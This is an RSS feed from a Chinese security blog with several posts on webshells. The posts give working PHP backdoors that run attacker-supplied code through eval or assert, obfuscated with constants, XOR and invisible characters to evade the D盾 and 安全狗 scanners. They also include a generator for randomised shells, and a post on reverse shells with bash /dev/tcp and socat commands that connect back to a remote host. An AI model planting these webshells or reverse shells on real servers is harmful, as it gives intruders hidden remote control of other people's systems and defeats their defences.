<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>webshell &#8211; ChaBug安全</title>
	<atom:link href="/tags/webshell/feed" rel="self" type="application/rss+xml" />
	<link>/</link>
	<description>一个分享知识、结识伙伴、资源共享的博客</description>
	<lastBuildDate>Fri, 23 Aug 2019 01:16:42 +0000</lastBuildDate>
	<language>zh-CN</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=5.5.5</generator>
	<item>
		<title>[2019-8-12更新]过D盾安全狗PHP一句话</title>
		<link>/tools/655.html</link>
					<comments>/tools/655.html#comments</comments>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Fri, 09 Aug 2019 06:22:16 +0000</pubDate>
				<category><![CDATA[工具分享]]></category>
		<category><![CDATA[bypass]]></category>
		<category><![CDATA[webshell]]></category>
		<guid isPermaLink="false">/?p=655</guid>

					<description><![CDATA[准备写一个长期更新的免杀webshell总结 2019-08-12 2019-08-09 疯狂免杀 2019-08-07 &#60;?php function a() { retur...]]></description>
										<content:encoded><![CDATA[<p>准备写一个长期更新的免杀<span class="wpcom_tag_link"><a href="/tags/webshell" title="webshell" target="_blank">webshell</a></span>总结</p>
<p>2019-08-12</p>
<p><img src="/wp-content/uploads/2019/08/20190812215816.png" alt="20190812215816" /></p>
<p>2019-08-09</p>
<p>疯狂免杀</p>
<p><img src="/wp-content/uploads/2019/08/20190809144327-1.png" alt="20190809144327" /></p>
<p>2019-08-07</p>
<pre><code class="language-php ">&lt;?php
function a()
{
    return '' + @$_POST['a'];
}

eval(a());
</code></pre>
<p>再来一个三元表达式的</p>
<p><img src="/wp-content/uploads/2019/08/20190807111622.png" alt="20190807111622" /></p>
<p>2019-08-06</p>
<p>常量过D盾</p>
<p>https://secquan.org/Notes/1069997</p>
<pre><code class="language-php ">&lt;?php
sprintf("123");
sprintf("123");
sprintf("123");
$a=$_GET['a'];
define("Test", "$a",true);
assert(TesT);
?&gt;
</code></pre>
<p>另一种思路反序列化过D盾，代码自己写</p>
<p>再一种思路 创建对象重复定义变量成员过D盾</p>
<p>2019-05-30</p>
<p>ASCII码显示不出来的字符做变量过D盾</p>
<p><a href="https://github.com/th1k404/unishell">https://github.com/th1k404/unishell</a></p>
<p><a href="http://ascii.911cha.com/">http://ascii.911cha.com/</a></p>
<pre><code class="language-php ">&lt;?php
if($_GET['␄']){
    $␄=$_GET['␄'];
    @preg_replace("/abcde/e",$␄, "abcdefg");
}
?&gt;
</code></pre>
<p>可以自己修改</p>
<p>2019-05-21</p>
<p><a href="https://github.com/yzddmr6/webshell-venom">https://github.com/yzddmr6/webshell-venom</a></p>
<p>利用随机异或无限免杀d盾</p>
<p>蚁剑插件版请移步:</p>
<p><a href="https://github.com/yzddmr6/as_webshell_venom">https://github.com/yzddmr6/as_webshell_venom</a></p>
<pre><code class="language-php ">&lt;?php
//code by Mr6
error_reporting(0);
    function randomkeys($length)   
{   
   $pattern = '`~-=!@#$%^&amp;*_/+?&lt;&gt;{}|:[]abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';  
    for($i=0;$i&lt;$length;$i++)   
    {   
        $key[$i]= $pattern{mt_rand(0,strlen($pattern)-1)};    //生成php随机数   
    }   
    return $key;   
}   
    function randname($length)   
{   
   $pattern = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';  
    for($i=0;$i&lt;$length;$i++)   
    {   
        @$key.= $pattern{mt_rand(0,strlen($pattern)-1)};    //生成php随机数   
    }   
    return $key;   
} 
    $str=randomkeys(6); 
    $bname=randname(4);
    $lname=strrev(strtolower($bname));
    $str2="assert";
            echo "&lt;?php n";
            echo "header('HTTP/1.1 404');n";
            echo "class  ".$bname."{ public $c='';nfunction __destruct(){n";
    for ($i=0;$i&lt;6;$i++)
    {
        $name="_".$i;
        $str3[$i]=bin2hex($str[$i] ^$str2[$i]);
        echo "$"."$name=";
    echo "'".$str[$i]."'"."^".""\x".$str3[$i]."";n";
    }
    $aa='$db=$_0.$_1.$_2.$_3.$_4.$_5;';
    echo $aa;
    echo "n";
    echo '@$db ("$this-&gt;c");}}';
    echo "n";
    echo "${$lname}=new {$bname}();n";
    echo "@${$lname}-&gt;c=$_POST['Mr6'];n";
    echo "?&gt;n";
    @$file=$_GET['file'];
    $html = ob_get_contents();
    if (isset($file)){
    if(file_put_contents($file,$html))
    echo "nnn".$file."   save success!";}
    else {echo "Please input the file name like '?file=xxx.txt'";}
    ?&gt;
</code></pre>
<p>2019-05-11</p>
<pre><code class="language-php ">&lt;?php
function a(){
    return $a=$_POST['1'];
}
@assert(a());
?&gt;
</code></pre>
<p><img src="/wp-content/uploads/2019/08/20190511171755.png" alt="" /></p>
<pre><code class="language-php ">&lt;?php
$value=$key = "a";
foreach($_POST as $key=&gt;$value){
    assert($value);
}
</code></pre>
<p><img src="/wp-content/uploads/2019/08/20190511183608.png" alt="" /></p>
<pre><code class="language-php ">&lt;?php
$x='$_PO'."STasdasd[".'1]';
$x = $x.str_replace('STasdasd',"ST[");

for ($x=0; $x&lt;=0; $x++) {
    assert("$x");
}
</code></pre>
<p><img src="/wp-content/uploads/2019/08/20190511190505.png" alt="" /></p>
<p><strong>可以发现的规律是当已经定义的变量和循环的变量名一致时，D盾就不是那么敏感了</strong></p>
]]></content:encoded>
					
					<wfw:commentRss>/tools/655.html/feed</wfw:commentRss>
			<slash:comments>2</slash:comments>
		
		
			</item>
		<item>
		<title>利用异或无限免杀webshell过D盾 PHP/ASPX/ASP/JSP</title>
		<link>/tools/657.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Sat, 06 Jul 2019 17:24:50 +0000</pubDate>
				<category><![CDATA[工具分享]]></category>
		<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[bypass]]></category>
		<category><![CDATA[webshell]]></category>
		<guid isPermaLink="false">/?p=657</guid>

					<description><![CDATA[github仓库链接：https://github.com/yzddmr6/webshell-venom/ 膜拜下@yzddmr6师傅]]></description>
										<content:encoded><![CDATA[<p>github仓库链接：https://github.com/yzddmr6/<span class="wpcom_tag_link"><a href="/tags/webshell" title="webshell" target="_blank">webshell</a></span>-venom/</p>
<p>膜拜下@yzddmr6师傅</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>PHP利用Apache、Nginx的特性实现免杀Webshell</title>
		<link>/tools/646.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Fri, 25 Jan 2019 14:33:27 +0000</pubDate>
				<category><![CDATA[工具分享]]></category>
		<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[shell]]></category>
		<category><![CDATA[webshell]]></category>
		<category><![CDATA[免杀]]></category>
		<category><![CDATA[过狗]]></category>
		<category><![CDATA[过狗一句话]]></category>
		<guid isPermaLink="false">/?p=646</guid>

					<description><![CDATA[get_defined_vars()、getallheaders()是两个特性函数，我们可以通过这两个函数来构造我们的webshell。 前几天看到的，一直忘记写，填坑。 &#60;...]]></description>
										<content:encoded><![CDATA[<p class="md-end-block md-focus" contenteditable="true"><span spellcheck="false"><code>get_defined_vars()</code></span>、<span spellcheck="false"><code>getallheaders()</code></span>是两个特性函数，我们可以通过这两个函数来构造我们的<span class="wpcom_tag_link"><a href="/tags/webshell" title="webshell" target="_blank">webshell</a></span>。 <span class="md-expand">前几天看到的，一直忘记写，填坑。</span> <span class="md-comment" spellcheck="false">&lt;!&#8211;more&#8211;&gt;</span></p>
<figure class="md-table-fig" contenteditable="false">
<table class="md-table">
<thead>
<tr class="md-end-block">
<th><span class="td-span" contenteditable="true">环境</span></th>
<th><span class="td-span" contenteditable="true">函数</span></th>
<th><span class="td-span" contenteditable="true">用法</span></th>
</tr>
</thead>
<tbody>
<tr class="md-end-block">
<td><span class="td-span" contenteditable="true">nginx</span></td>
<td><span class="td-span" contenteditable="true"><span spellcheck="false"><code>get_defined_vars()</code></span></span></td>
<td><span class="td-span" contenteditable="true">返回由所有已定义变量所组成的数组</span></td>
</tr>
<tr class="md-end-block">
<td><span class="td-span" contenteditable="true">apache</span></td>
<td><span class="td-span" contenteditable="true"><span spellcheck="false"><code>getallheaders()</code></span></span></td>
<td><span class="td-span" contenteditable="true">获取全部 HTTP 请求头信息</span></td>
</tr>
</tbody>
</table>
</figure>
<h2 class="md-end-block md-heading" contenteditable="true">apache环境</h2>
<pre class="lang:default decode:true md-fences md-end-block ty-contain-cm modeLoaded">&lt;?php
eval(next(getallheaders())); 
?&gt;</pre>
<p class="md-end-block" contenteditable="true"><span class="md-image md-img-loaded" contenteditable="false" data-src="https://ws1.sinaimg.cn/large/006xriynly1fzj5897bb5j30z40rk77e.jpg"><img src="https://ws1.sinaimg.cn/large/006xriynly1fzj5897bb5j30z40rk77e.jpg" /></span></p>
<h2 class="md-end-block md-heading" contenteditable="true">apache和nginx环境通用</h2>
<pre class="lang:default decode:true md-fences md-end-block ty-contain-cm modeLoaded">&lt;?php
eval(implode(reset(get_defined_vars())));
?&gt;</pre>
<p class="md-end-block" contenteditable="true"><span class="md-image md-img-loaded" contenteditable="false" data-src="https://ws1.sinaimg.cn/large/006xriynly1fzj5thbdjxj30z40rkq5m.jpg"><img src="https://ws1.sinaimg.cn/large/006xriynly1fzj5thbdjxj30z40rkq5m.jpg" /></span> 另外一种通过执行伪造的sessionid值，进行任意代码执行。</p>
<pre class="lang:default decode:true md-fences md-end-block ty-contain-cm modeLoaded">&lt;?php
eval(hex2bin(session_id(session_start())));
?&gt;</pre>
<p class="md-end-block" contenteditable="true"><span class="md-image md-img-loaded" contenteditable="false" data-src="https://ws1.sinaimg.cn/large/006xriynly1fzj64fw0yfj30z30rktbs.jpg"><img src="https://ws1.sinaimg.cn/large/006xriynly1fzj64fw0yfj30z30rktbs.jpg" /></span></p>
<p class="md-end-block" contenteditable="true"><span spellcheck="false"><code>706870696e666f28293b</code></span>这个是<span spellcheck="false"><code>phpinfo();</code></span>的hex编码。</p>
<h2 class="md-end-block md-heading" contenteditable="true">给<span class="wpcom_tag_link"><a href="/tags/shell" title="shell" target="_blank">shell</a></span>加密码</h2>
<pre class="lang:default decode:true md-fences md-end-block ty-contain-cm modeLoaded">&lt;?php eval(get_defined_vars()['_GET']['cmd']);?&gt;</pre>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>WebShell下的交互式Shell</title>
		<link>/web/579.html</link>
					<comments>/web/579.html#comments</comments>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Sat, 13 Oct 2018 06:50:08 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[webshell]]></category>
		<category><![CDATA[交互]]></category>
		<guid isPermaLink="false">/?p=579</guid>

					<description><![CDATA[从webshell执行命令现状说起 这里我们主要都以 Linux 平台来说，Windows 的暂时先不提(主要是还没研究)。 web 脚本中执行命令 Webshell 里经常会看到...]]></description>
										<content:encoded><![CDATA[<h2 id="从webshell执行命令现状说起">从<span class="wpcom_tag_link"><a href="/tags/webshell" title="webshell" target="_blank">webshell</a></span>执行命令现状说起</h2>
<blockquote><p>这里我们主要都以 Linux 平台来说，Windows 的暂时先不提(主要是还没研究)。</p></blockquote>
<h3 id="web-脚本中执行命令">web 脚本中执行命令</h3>
<p>Webshell 里经常会看到一些 <code>命令执行</code>, <code>虚拟终端</code> 之类的可以执行系统命令的功能，原理就是通过脚本语言自身提供的 <code>system</code>, <code>popen</code>, <code>shell_exec</code> 之类的函数来完成执行命令的目的。</p>
<p>这种方式不支持上下文，并且在面对一些需要用户<span class="wpcom_tag_link"><a href="/tags/%e4%ba%a4%e4%ba%92" title="交互" target="_blank">交互</a></span>的命令时，就显得很鸡肋了。比如说<code>passwd</code>命令:</p>
<figure class="highlight plain">
<pre class="lang:default decode:true ">root@localhost:/# passwd root
Enter new UNIX password: [这里需要用户按下键盘]
Retype new UNIX password: [这里需要用户按下键盘]
</pre>
<p>&nbsp;</figure>
<h3 id="反弹-Shell-执行命令">反弹 Shell 执行命令</h3>
<p>后来，有了利用 <code>nc</code> 等工具反弹 shell 这种方式:</p>
<figure class="highlight plain">
<pre class="lang:default decode:true ">/bin/bash -i &gt;&amp; /dev/tcp/111.111.111.111/9999 0&gt;&amp;1
</pre>
<p>&nbsp;</figure>
<p>都知道用 nc 反弹回来的shell交互上多多少少会遇到一些问题，当你输入 <code>tty</code> 命令时，返回的还是 <code>not a tty</code>。虽然已经满足部分需求，但是不能用到 <code>Tab</code>补全,<code>ctrl+L</code>清屏等操作,尤其是<code>ctrl+C</code>,一不小心按下去，<code>nc</code>都结束掉了，又得重新反弹。</p>
<h3 id="反弹-Shell-中获取交互式-Shell">反弹 Shell 中获取交互式 Shell</h3>
<h4 id="为什么webshell反弹的-shell-无法交互">为什么webshell反弹的 shell 无法交互 ?</h4>
<p>我们能清晰的感受到，我在连接一台远程的 Linux 主机的时候，如果我使用的是 ssh 连接目标主机，在连接成功后，我可以使用 Tab 补全命令，可以使用 <code>vim</code>、<code>nano</code>,可以使用<code>top</code>,<code>htop</code>,并且当我按下 <code>Ctrl+C</code>组合按键时，只会结束前台运行的进程，不会结束掉整个 ssh 会话。</p>
<p>究其原因，是因为没有 <code>tty</code> 这么个东西。当然，<code>tty</code>,<code>pty</code>,<code>pts</code>,<code>ptmx</code>,<code>console</code> 这几者有什么区别，有兴趣的读者可以自行查阅相关资料，这里不再深讲，也可以看一下下面这一篇文章：<a href="http://www.linusakesson.net/programming/tty/" target="_blank" rel="external noopener">The TTY demystified</a> 译文：<a href="http://www.cnblogs.com/liqiuhao/p/9031803.html" target="_blank" rel="external noopener">解密TTY</a></p>
<p>总结下来就是，我们提到的这些个命令，在执行的时候，需要获取当前上下文环境中的 tty, 并根据 tty 的大小，来处理输出和输出。而脚本语言默认执行系统命令时，是没有获取 tty 的。</p>
<p>那么有没有办法反弹交互式 shell 回来呢？当然有了</p>
<h4 id="python-pty-方式">python pty 方式</h4>
<p>在 nc 反弹回来的 shell 中，如果发现对方机器上有 python 的话，那就爽了。</p>
<figure class="highlight plain">
<pre class="lang:default decode:true ">python -c '__import__("pty").spawn("/bin/bash")'</pre>
<p>&nbsp;</figure>
<p>这种方式可以得到一个交互式的 Shell，确实方便了许多。</p>
<p>虽说绝大多数 Linux 下都有 python 环境，那么如果对方没有 <code>python</code> 的时候呢？比如说容器？</p>
<p>当然了，除了上面说的这种方式，如果目标有 python 的情况下，我们还可以使用 SSTIC 2018 上公开的开源工具 FFM 来增强反弹回来的 shell。</p>
<p>FFM 项目地址：<a href="https://github.com/JusticeRage/FFM" target="_blank" rel="external noopener">https://github.com/JusticeRage/FFM</a></p>
<p>FFM 演示 PPT: <a href="http://manalyzer.org/static/talks/SSTIC2018.pptx" target="_blank" rel="external noopener">http://manalyzer.org/static/talks/SSTIC2018.pptx</a></p>
<blockquote><p>PPT 里面有操作的视频，感兴趣的同学可以下载了看一下</p></blockquote>
<h4 id="socat-反弹真正交互式的-Shell">socat 反弹真正交互式的 Shell</h4>
<p>socat是类Unix系统下的一个工具，可以看作是 nc 的加强版。我们可以使用socat来传递完整的带有tty的TCP连接。</p>
<blockquote><p>说个题外话，在 CTF PWN 题目布署的时候，可以使用 socat 来将题目的输入输出转到网络接口上</p></blockquote>
<p>直接说下怎么使用吧，虽然网上教程一抓一大把：</p>
<p>step1:在 vps 上监听：</p>
<figure class="highlight plain">
<pre class="lang:default decode:true ">$ socat file:`tty`,raw,echo=0 tcp-listen:9999</pre>
<p>&nbsp;</figure>
<p>step2:把socat上传到目标机器上，然后执行：</p>
<figure class="highlight plain">
<pre class="lang:default decode:true ">$ socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:111.111.111.111:9999</pre>
<p>&nbsp;</figure>
<p>就可以得到一个完整的交互式shell了，非常方便。</p>
<p>有关反弹 shell 中获取交互式Shell的方法，有兴趣的朋友可以看一下这篇博文：<br />
<a href="https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/" target="_blank" rel="external noopener">Upgrading simple shells to fully interactive TTYs</a>，英文不好的同学也可以参考一下译文:<a href="http://www.4hou.com/technology/6248.html" target="_blank" rel="external noopener">将简单的shell升级为完全交互式的TTY</a></p>
<h4 id="script-获取-pty">script 获取 pty</h4>
<p>我们可以使用 Linux 系统下的 <code>script</code> 命令，在弹回来的 shell 下创建一个带有 tty 的 shell, 这样就可以勉强使用一下 <code>top</code> 和 <code>vim</code> 了:</p>
<figure class="highlight plain">
<pre class="lang:default decode:true ">$ script /dev/null</pre>
<p>&nbsp;</figure>
<blockquote><p>如果不加 <code>/dev/null</code> 的话，会在当前路径下生成一个名字是 <code>typescript</code> 的文件，记录着在 script 生命周期里你执行的所有命令和结果。</p></blockquote>
<p>呐，下面是执行之后的结果：</p>
<figure class="highlight plain">
<pre class="lang:default decode:true ">➜ nc -lv 9999
root@46958b799745:/tmp# tty
tty
not a tty
root@46958b799745:/tmp# script /dev/null
script /dev/null
# tty
tty
/dev/pts/1
#</pre>
<p>&nbsp;</figure>
<h4 id="MSF-staekka-Module-获取交互式-shell-未测试">MSF staekka Module 获取交互式 shell(未测试)</h4>
<p>我在查阅资料的时候顺便发现了有个兄弟为 msf 写了一个交互shell的模块，由于时间关系，也没测试，留给有兴趣的朋友去研究啦。</p>
<p><a href="https://github.com/j-0-t/staekka" target="_blank" rel="external noopener">staekka</a></p>
<h2 id="AntSwrod-SuperTerm-插件演示">AntSwrod SuperTerm 插件演示</h2>
<blockquote><p>下面是我们这篇文章的主角了,为了快速说明来意，我先放两个演示的视频</p></blockquote>
<p>先看演示视频：</p>
<p>看不了的话，点原始链接：<a href="http://v.youku.com/v_show/id_XMzc0MzgzOTU1Mg==.html?firsttime=0" target="_blank" rel="external noopener">AntSword SuperTerm 交互式终端</a><br />
<iframe width="510" height="498" src="http://player.youku.com/embed/XMzc0MzQyMjY4NA==" frameborder="0" allowfullscreen="allowfullscreen"></iframe></p>
<h2 id="SuperTerm-内网穿透演示">SuperTerm 内网穿透演示</h2>
<p>在内网穿透方面，演示环境里，hacker 和 victim 双方均处在自己的 nat 后面，也是比较常见的场景了：</p>
<p>看不了的话，点原始链接：<a href="http://v.youku.com/v_show/id_XMzc0MzQyMjY4NA==.html?firsttime=0" target="_blank" rel="external noopener">AntSword SuperTerm 内网穿透</a><br />
<iframe width="510" height="498" src="http://player.youku.com/embed/XMzc0MzgzOTU1Mg==" frameborder="0" allowfullscreen="allowfullscreen"></iframe></p>
]]></content:encoded>
					
					<wfw:commentRss>/web/579.html/feed</wfw:commentRss>
			<slash:comments>2</slash:comments>
		
		
			</item>
	</channel>
</rss>
